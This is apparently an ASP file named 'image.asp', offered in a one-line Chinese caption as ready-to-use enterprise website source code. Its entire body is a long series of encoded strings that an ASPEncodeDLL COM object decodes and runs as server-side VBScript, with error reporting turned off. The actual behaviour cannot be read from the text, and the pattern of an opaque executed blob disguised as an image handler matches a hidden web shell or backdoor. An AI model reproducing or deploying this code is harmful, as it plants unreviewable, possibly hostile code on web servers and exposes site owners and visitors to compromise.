image.asp

一个很好的企业整站的ASP的源码。稍加修改就可直接使用。

<%

'创建时间:2009-03-17 18:14:13
'请勿修改下列任何代码,以保证程序正常运行

On Error Resume Next
Set AspCoding = Server.CreateObject("ASPEncodeDLL.AspCoding")
If Not IsObject(AspCoding) Then Response.Write "<script language='javascript'>document.write(unescape('%3CDIV%20style%3D%27FONT-SIZE%3A%2012px%3B%27%3E%3CH1%3E%3CFONT%20style%3D%27FONT-SIZE%3A16px%3B%20COLOR%3A%23ff3300%27%3E%u64CD%u4F5C%u5BF9%u8C61%u65E0%u6548%20-%20%u9519%u8BEF%20101%3C/FONT%3E%3C/H1%3E%u60A8%u6CA1%u6709%20ASPEncodeDLL.AspCoding%20%u5BF9%u8C61%u7684%u64CD%u4F5C%u6743%u9650%u6216%u8BE5%u5BF9%u8C61%u4E0D%u5B58%u5728%2C%u8BF7%u8054%u7CFB%u670D%u52A1%u5668%u7BA1%u7406%u5458%u3002%3Cbr%3E%3CA%20href%3D%27http%3A//www.gbwinsoft.cn/%27%20target%3D_blank%3E%3CFONT%20color%3D%23008000%3E%u6280%u672F%u652F%u6301%3C/FONT%3E%3C/A%3E%3C/DIV%3E'))</script>":Response.End
AspCoding.EnCode("Gg2coHCH3dGhGhFcGhFcHgHgHgBGHgHgGhGhFcGhBGHgTHEdGhGhEdGhGhEdBGGhFcGhTHFcTHTHFcHgFcHgGhBGGhFcGhEdEdHgFcTHBGBGTHGhFcTHBGTHGhGhoHCH4coHCHXIDpeLoPSoosbt6WCqw9TVRqbKLsEPTo2rbRCq4bTpA9RsIRxchsEQuQ79nGRqbKKPdQHR3PgRAPQR79qRS9ZokObQBs7VoPYpTVsgThXixfxI4gahvOk9WIgIYH7pwqPraW9QHtuPrPYpcrRCUfZgjCwd5fjeoHWdXIUO")
AspCoding.EnCode("qquqFQusiRLQBPYpTVTpmQtr0rqRbKMr8RIr4RHrpQWICHZGgCagAfH9lgxhXiyhli2HAHAblb6cxHDdlI8clI4bRCSeXiwgxI4gzg3IxH1GIfviafXdqfygZgwfliAg5cQhmh6fmhlg8gmh3ixIWICH3dWIVcYHHgBGHgTHTHGhHgHgTHGhGhBGHgEdBGEdTHTHGhEdEdTHHgTHFcTHHgFcTHTHEdGhGhFcGhFcHgHgHgBGHgHgGhGhFcGhBGHgTHEdGhGhEdGhGhEdpGhb2cBboHVcBHCfPiOgiiTIHhie")
AspCoding.EnCode("ghfihhSdFdtgWisfVefeHf7WZrWQkPPQdqCqkprftiWfBHyIsfWireVeICGeVbhbEcOgghuheC1GXeyizgFhmhkfliEd1Ili3CSfDfwcveFhjhzeUH3IXexg4elgFingliBG5CXfDdkIkGAH1I3IyhliDf6gaImh8CAiyg8gTHcfzhxiFhYfje8eyGsfH9DCYfTIgdWdBHqesfNC9gIC4bFhUfDCngTH8eYfTgDfzHniFiAgBbPigg5cSghcCHeg9f9eQCaIRfWiJgghGi4bBcAfDfVbhbSioHWdIgpiggLh")
AspCoding.EnCode("XdBehcgIegWgVgtgxHqeif1iefHC2HSI6gDfhcgISiVbhbifWhRguguhb9WIgIhfoCVgPixHQgCeJgefSH4bSI6gDfVbhbHoWIWdqeICWfefIhQCIOoHgIhfpiOftgncRfif2CghFb5cUb8iEgWIgIHoWIgIVbhbEcxbqetgJfCCghBbgdhbHhECXeAhai7hDf5caf3fxiZgAiXgYhZeGhYcChYC7CXgui5f6eweAfFhYcHfpGCHZhEhkf5flivfjfzg2HniveZemCye3hyhZizgYhmhydnGpGVcSgVbhbvf")
AspCoding.EnCode("5iXd3IxcmCwfxfuiweShmhzG5fxgZe4gyeng3iHgFc8eFC8f3CwIBeoHgI3I4b5c2HDgygnhACzixImgvf6f5hmikhYfYeBGme3fviECYfFIgdWdgHveYfzCZgaCFhybZfzCAg3f5eafngZfTH5iZijglh4iFIhcgIpcGpWICHZewCAgYfb9CIVbVc4b5c2HEfxhnhliwfwdmgaiAg5hnCze4imgHgEglgFgYfSGoHVc2HXd2HxgngvfXixgliybnhvflhXg3gkh4imgHgDfFCFg4iUHWIiG3I2H2HIWWIgI")
AspCoding.EnCode("GpVbhbpGgIXCDeyC5fDfxhxCyC2HygzfZimfngxcmHTfgdhbDhZiAh5cygkgZgveEgkgkhGhYc2bSGWICH7C5hAhXdlhFhFCDeAhviGhvfwimf8fEijgvc8g5hzeEh4iEbgdWdyg5i2HmG7eDfAhAi7fzeTHGh2b4HHpUi6fDflg8fEizeBGEd3GyhFhli6gFbxbvd3GnG5clgmhFh8fEiyCFIhcWd6fDfEi8eTh7hZeTHAg8elgDelgvixIFiDenC6fAClgwekfZgvIlhli7fFglgkhwdvingzgmfDfyhnc")
AspCoding.EnCode("jbyH7e8e6e8fEiwCaHjg3CyCmf8ewfxdFIgdhblhDfFCEgUfleYfHg6fDfEiliBg7h4ixIliagiijfDgYf6egCXg6f4ivIvbHiVbVcvfnf4bwbFiDfFCEgH96gmhEdBGYcvg6gZg1IIVHp7eDfEiDfGOAfngHgTHYcZgaiZh2bmHUhWIgI4b5cygkgmfaCEgwiafHgwekgmfwfFhkgjgvH2bHhwekg5C1GEC7f5fGh3dZdvHygzfXi8flgviaHFfYCkhEh4imbYcXI3IXgzeygZgahGh4c2bwGXgafzCYhah")
AspCoding.EnCode("ACTh7h3CzGDhZikh8f4ivH4H4c1IHiWIhb1G4baiZhXdydXgviDf8eZeSfFhvcFf4eafEhmh1HTHYc4HmH3IvfwineveACaekhGhaikgYhyhACaezeac1I4b5hafliEdXIYczd3fafli8emhBh8eaH8g4ejgDengac1I4c3GGCoHWd3I1GvfYg3IwbmijflgmgmhFCvc8gXgaf8fmhXcGh4H3GnG1Gvfwi5CwfEgvCwCTHwezf5CxgACjhkhvHZd3IXfke7fmgYf7fFc4c1ImbmiagEimg4i7fxIFf4ewCFg")
AspCoding.EnCode("Yfac1I5bYcEbhcCH2H4bxh5i2Hyd4gziwgPhzCTe4ixI4gxgng4gxfZeZfFcTHAC7fFgngmHb9WIVc4b4b2H4bygYg4bxcDgygZfACxgvcFfXgzeFgYf1HGh1I1ImH4bxhaeZgaC8evCafTHxhvC5CwfEgzfvivH1I5cEfvf4CFhyhFc5bYcnIDgygYeEgxgybDhZikhDengvHZd5b2bGCVbhbodweZh5cwbwf4ivfmfziEgvc8g5hzeEh4i3bEdZd1Iyc2HweaemfyhlizfzeTHxhjhmfwflizfafnI4H5c")
AspCoding.EnCode("veZezCneyhFhFcXI2bmbaCZeweXixgFhybFfZiwCFg4izd4HYHYcSGVbhbhGGpWIiG3I1GygwiZgzi8evCafEdygaemfxgEgjhvivH1ITI2bGChcgI3I2HEfxhxinhjfFezG6eYflilC7fzgqCYCafDeYfXdHgXdxhjhmfaCEgzfzeUHWICH2H5cSiWIhb7iygximgyiEfxI5fzexCAgYfxcwIEbhchbSioHCHHhxbFi5fFCyg8iEgBbgdiGhcgIGgOghgtgIf1G5fyikfACYfzgEgTHYcOguiphuhVfOh3I")
AspCoding.EnCode("DIyb6clIxIAHTdjI6caHlI3G3Ikf3fjhngHggfghWhfePgeCreoCqfHfHhvdWCefdgffUcoHgIEcdf9fbCLh4bmiYhhiagjgag6eHgkgmhahAiBbpGgIBHnCAhBbgdhbHhAC4e4hvimh2H7ivfZflixgFc1IDbjGAbYc4bnCxClg3iYf6eBG4HAbYc2H4eafxhYhkfTHYc5fYfzgDf4i6e3GSdpGhb4b5cGgFhAhSd1GpGVc3I4b4b2HEcACmg5c6CvfZfliveGh2bDGDH1I1GxgZeygXixgliBGZdlH7d1I")
AspCoding.EnCode("1G3fjgygYhxiTH1Ilgxh5CziEg1IHfPQdqgrAWrfReVeZoHQEcvdDfmgSdgdCH1G2HXd3IFdFhnh2HaCngvfnewfEgTH4HDc6c1I4bniagviAg8i3fzgTH3GDd1IHfEcygah8iEhli2Hkf5hjh4iTHZdygwiZgEhFCzeYc3IEgBg6gngTH3GDf4iSfAC4H3IygZfFc1IaijhYh8fAhjg1I4b6iXgjg8f3CHgYcwfEg8e6gSHzHxb1I3I6fxhShZeHgZd6GBd4HHfHhvdACZfTIoHVc2H3IEczHDfFCBbVbVc")
AspCoding.EnCode("4b5cGgEglgGe3IWIhb4b5c4b1GGgDf4C4byh3CxhYhaC8eGhYcjbkHYc2H3fviygXizgGh3GAhaiYhaCAC1IUcQQxPHPGQQqerLQLPYpBWHhzHDf3iHfoHgI2H5c1G1GFd8enh4b7iygnhFhaCBG3G7ckIlb2b2Hzi3CygXiaCDfTHYcAGAb2bGeBHygje6gDeEg5czgZiae3CTHZdXgzeDfEgngBhli4H3IEgThDC4iHg1IDfYfBhli2b2HweYeBG4HZiwCDfEg3CHODf3G2HECygbOmhGh4H6dUI4HGeBH")
AspCoding.EnCode("yIDfZfUchcgI4b5c3I5cGgliZf3IEfwe4CEgwfFc1IlbAcUbYc2HwfmhxhXiwfACHgYckIAbZdGe89LRiRaRFVdROQbPYpcr2HgdCH3I3I2H5c3I5cHhlhYfkhng4gFh5czgXgzf3CHgYc3fjgweZgkfDfTh6gng4H4bxhYeHgZd7e3CafYf3hACZdHfWICH5c2H3I5c2H2HXd4bHhyi7hliygagzg1G8gXgkhEh4iGh3G1IHffsAWOq9sHhxbxCleFhaizhkfUcoHCH5c3I5c3I4b1G4b5cHhxCDCEgaijf")
AspCoding.EnCode("je1GFf5hvi8fZeTH2bkhYfnfli4H2HAgYfviZeXeACZenhBburDRFWMqhskPTGwcag7hFhvfyiyCTIhcWd2H2H5c1G4b4b1G2HGgke6g8eygyizg5cEeYCaflCngBG4HlgygYhziDf1ITIrqMs89LRiRjQBHxbyi7hDfwekejeHfhcWd2H3IXdXd2H1G2HXdGgxC7hFhvfxCzg2HEe3fjg8fYfFcYcEgzh8i1IUcEVX96p4RSpJPhsaRBHwcag7hlixhyikfHfVbhb5c2HXd3I5c3I4bXdTGyi6gEgygagzg")
AspCoding.EnCode("2HEe3fvi8f3CTH1IEgYfG9Eglizh7h4HBbPRoRJqtrORQRUpTOGgwcjf6g8eygjfkfBbWIgI2H4b4b1G3IXd1GXdBHjf7hACzCjfzg2H6i3fjgAiYfTHZdjhxh3inhving1ITIqPmREVMqSWbrKq7oIRtQusuqHhvdzh7hACwezhxiBboHVc2H2H5c3I5c3I4b1GHhyi7hACzCagxi2HEe4eafEh4iTH3G3f4hlhzfvf3iZfafng4HUccPGtDOJPSWGqtrDVbqrqusrPTGwcag7hFhvfyiyCTIhcWd2H2H5c")
AspCoding.EnCode("1G4b4b1G2HGgke6g8eygyizg5cEeYCaflCngBG4H3gXglh4iafygzgmhZdUcBVbJRQ5QHhwczhAf8ewekekfUcgdCH3IXdXd2H1G2HXd3IFdzh7hDfzCagkf1GFfXgaf8f4iFc1I4hyiEgliagwi4HTIRQYPDOLREpurDV3q89MqgrjQBHxbzh8iDfzCagxiTIVbWd1G5c3I3I3I3I3I2HTGjf8iDfzCjfzg3IFfZijgAimhGh4H5h3gAg4hyiEgEgjfvC1IUcdQIJUoLREpLQ8W4REVKQCqzqTGyIxCleAC")
AspCoding.EnCode("vfjfahSdgdCH3I2H5c2H3I5c2H2HFdzh7hlixhyizg3I8g4ejgFgmhGhYc3hZezgDf3CAh2bSdbqrqusrPHhwczhAflivfjfxiTIhcgI4b1G4b5c4bXdFdyIFiYfzeZe5fFhUcBHaGDfnhBboHCH5c2HBHyIDfEiGepGWd1G4bHhlilgBb4bgdiG1G5c3I4bHhDf3iXdxg4izCmfwfliBG2bjbjG4H3I4ejgweZgxiHgYc6ezCmfaCEg3GHfqRcRCqx9FpDRtRYWvOcrGgyIDfZfBbhchb2H1G1G1GBHli4C")
AspCoding.EnCode("2Hxg3CzCmfveDfEd1I8dAb2bHfFdygkfle8fEg2HkfZiwingGhYc4gziwguivfUgYf3GXdEgUf8ingGhYc3hziYf5fvh4hyiSfZd3IaimgGhZdXeziwgQgygUgng4H1GFfZiaflCYfHg1I5fzingnivh4hjfBh1I3Izhxibgxg3fyCZg4iTH1IXexgYf5fvh4gxg3fahYhZevIxdSGZdHfoHhbXdXd2H3I2H5cMQGR89ypFpTsuqYWEcxblimgTIWIiG3I3I4b4bEcFhYe3Iwf3CxhYhaCFhGhZdAGAbYcBb")
AspCoding.EnCode("6p2rcQFQ69JROrGR5WGP4bhchbXdXd3I5c2H1GTGvfah8i8f8e2Hah5hzfYfFc4HXfag7f3iZe6eZd1GFhTh8ingGh2bACZeUeli1I4bxhZfFcZd3gyiFCZfYfEi3G4bDh4eafFgZeHg3GlIYc3IFiwebOYfEd1I7G4HTIWIhb5c2H3I3I4bXdOrFRWR0QBHxblinhHfpGiG1G2HEcvdDflgSdgdCH1G2HFdEgFCBb4boHWd3I2H1G2HGgDfZf5czingxhXixgliHgYclHlI4H1GYCjgvfXizgGhYcAhaimf")
AspCoding.EnCode("wfFh2bUcZHyC3gFi6gEbFdaGlimgTIWIgI3I2H1G2HEcDf4C2HxgngvfXixgliGh2blHAb1ITIIqarXVTV2HgdgI5c2H3I1G3I2HBHxhzg6g8fFh4bjeXgvCZeEd4HEfxh4CACwf1I2HliUf6g4iTH4HACmhBhli2b5cygmgHg3GDgygnhFhzi2b1GAgvfbOmhGhZd8b2bXdYexhFi5hXfviYfZfUcWIVc3I4b1G4b5c4b9sUsWR3r2HTGaGDfnhUcoHiG2H4b4b2HBHliZfHfGR5Qw9GP1GgdiG4b4b5c3I")
AspCoding.EnCode("4b4bFdweje8iFgFh4bkfZivCngFcZdwfYfaineyhFh3G2HEgSe6gZeHgYcEg4iUeAC4HXdygYeTH1IxgmhaimfxgEg2bXdFiygUgYfTH2bkc2b2HYewe7e3fmiwCYfmgSdgdCH1G2HXd3IXd4bPq8QRs1RBHaGDfmgHfoHVc5c3IHhwcEgEiTIhcCH3I2HTGAClg2HZijgxhXiahFc4H5fmhahliYfFC1IUc3IVbWd1G5c3I3IGgEgmg2HveYfaimfaCDfHg1I6HYc3Inizhkh6f7hXgzgGhYckI1IHfFdxg")
AspCoding.EnCode("EiHfGgaGEgZfHfVbgI3I2HHhxb8elgSdpGWd2H2HHhACFC2HXgafaimfzgFc4H7fzCYhyhli2bUcWIgI3I1G3I3IHhFh3i4bvengvf5CyhFhEd2bjb7d3G4bnizhafFiAf3fxiHgYckI2bGeHhaiahDClCEg5ckf4eaeYfGhYc5faeZfVhih4H2HliUfAfngTHYc5eDeAC8ezhahYc3IxhnhEd3GXewimgVhih4H5c7CXgvilCYfTHYc1GOqEWUoyp3I3G3IkezghijgaiXejCTHZdygae3fZgngwbycUH1I")
AspCoding.EnCode("TI4bgdVc3I3I2H2H4b5cXbkf5e7eleUH5cFdvfzgDClCDf1GkfYCkg3CGh2b5fvCmgcf4ekf4gYfafYc5cEgTh8ingFc1IFi8f3gzfweAC1I2HaimgGhYc3hwiZfcf5hahniYfwC1I5c8g5hwCDe4iHg1I3I9RZVRQbt2HYc2HxCkfbgjgvfniwgFc2b8hvfahmgag8hvc4gjgjfECngxcmHFI3GTI2HoHhb3I3I2H4b4b1G5IyC5eECAfUHXbyCnC6f6gUH3ckf3gFiAfUH4dah4hFi7hHiGgyIEgYeTIWI")
AspCoding.EnCode("hb4b5cHhaGEg7fSdVbhbFdxbFhYC5ekh4iBboHVcBHzHgiWgIiMgBbTGxbViuhiCCCTIhcCHTGbe6f7hhijfYevfahYhaHcfzi3f7fAgYfliBGnenClGjblb8cTI")
AspCoding.Run("VBSCRIPT")
Set AspCoding = Nothing
%>